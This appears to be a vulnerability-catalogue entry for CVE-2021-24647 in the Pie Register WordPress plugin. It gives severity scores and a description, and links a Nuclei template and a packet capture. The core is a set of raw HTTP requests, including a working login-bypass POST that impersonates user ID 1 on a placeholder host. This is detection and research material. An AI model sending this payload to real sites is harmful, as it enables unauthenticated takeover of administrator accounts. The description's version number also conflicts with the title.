| Title | Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information. |
| Remediation | Fixed in version 3.7.1.6 |
| CVSS Score | 8.1 |
| EPSS Score | 0.85031 |
| CVE ID | CVE-2021-24647 |
| CWE ID | CWE-287 |
| Tags | cve cve2021 unauth pie-register wpscan wp-plugin wordpress wp genetechsolutions vkev vuln |
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=38FHLQtCCD4fxcs3kse01WeNaD2&pwd=38FHLQtCCD4fxcs3kse01WeNaD2&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
GET /wp-admin/profile.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24647.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24647.pcap
N/AN/A